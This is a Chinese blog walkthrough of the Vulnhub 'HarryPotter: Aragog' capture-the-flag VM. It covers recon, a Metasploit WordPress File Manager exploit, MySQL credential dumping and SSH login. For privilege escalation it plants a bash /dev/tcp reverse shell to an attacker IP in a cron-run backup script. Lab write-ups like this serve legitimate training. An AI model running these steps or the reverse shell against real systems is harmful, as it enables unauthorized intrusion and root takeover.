【Vulnhub】HarryPotter Aragog

【Vulnhub】HarryPotter: Aragog

Description:

​ Aragog is the 1st VM of 3-box HarryPotter VM series in which you need to find 2 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

​ (这是 HarryPotter VM 系列的第一个)

信息收集

fscan 扫描内网目标 IP 为:192.168.1.6

image-20241125091046170

namp 对该目标进行全端口服务扫描

image-20241126171229832

进入 80 端口服务 web 页面

image-20241126171258082

页面源代码 和 开发者工具都看不到什么重要信息泄露

dirsearch 目录扫描

dirsearch -u http://192.168.1.6/

image-20241126171643325

进入 /blog/ 目录

image-20241126171725586

发现是 wordpress。并且 Notice 提示他们将要删除一些不用的插件

使用 wpscan 扫描插件,wpscan 的 api-token 可以去官网申请,免费的有额度

wpscan --api-token=***************************** --url=http://192.168.1.6/blog/ --plugins-detection aggressive

image-20241126175731233

漏洞利用

使用 MSF 搜索符合条件的可以利用的方式

search wordpress file manager

image-20241126180131435

use 1

image-20241127173937649

set rhosts http://192.168.1.6
set TARGETURI /blog
set lhost 192.168.1.8

image-20241127174421176

run

image-20241127174514878

进入 shell 模式

shell

到 /home/hagrid98 目录下拿到第一个user flag

image-20241127174924868

提权

从 horcrux1.txt 文件内容种能看到乱码是 base64 格式

解码得到:1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets

翻译过来:1: 里德利的日记被哈里在秘密会议上毁掉了。。。不知道是什么信号

之后查看 wordpress 的默认配置文件

image-20241127175934288

看到 MySQL 的用户名密码:root / mySecr3tPass

登录 MySQL 之前先执行一条命令来提升交互式 shell 的体验,有些时候反弹 shell 的回显可能会出现乱码或者没有回显的情况

python3 -c 'import pty; pty.spawn("/bin/bash");'

image-20241128095752659

(我这里中途断开连接,又重新连了一次)

用得到的 MySQL 账号密码登录

image-20241128100714228

show databases;
use wordpress;
show tables;
select * from wp_users;

image-20241128100829059

拿到用户名密码。

密码解密后得到password123

使用 ssh 用户名/密码:hagrid98 / password123 连接尝试

image-20241128101900664

连接成功!

查看权限以及历史操作

image-20241128102522894

查找系统中所有具有 SUID 权限的文件

find / -perm -4000 -type f 2>/dev/null

查看是否有可执行的脚本

find / -name '*.sh'

image-20241128102823119

有一个有权限的可执行脚本

查看脚本内容

cat /opt/.backup.sh

image-20241128102923875

解析一下就是,将wordpress中上传的所有内容复制到 /tmp/tmo_wo_uploads 中

可能这个脚本每过一段时间就会执行一次(考虑到内容同步的情况)

那么就在这个脚本里面写一个 php 的反弹shell代码

bash -c 'bash -i >& /dev/tcp/192.168.11.128/1235 0>&1'

image-20241128103522120

监听几分钟

image-20241128103622927

拿到 root 用户的 flag

image-20241128103722329

posted @ 2024-11-28 10:39  酷比灯  阅读(19)  评论(0)    收藏  举报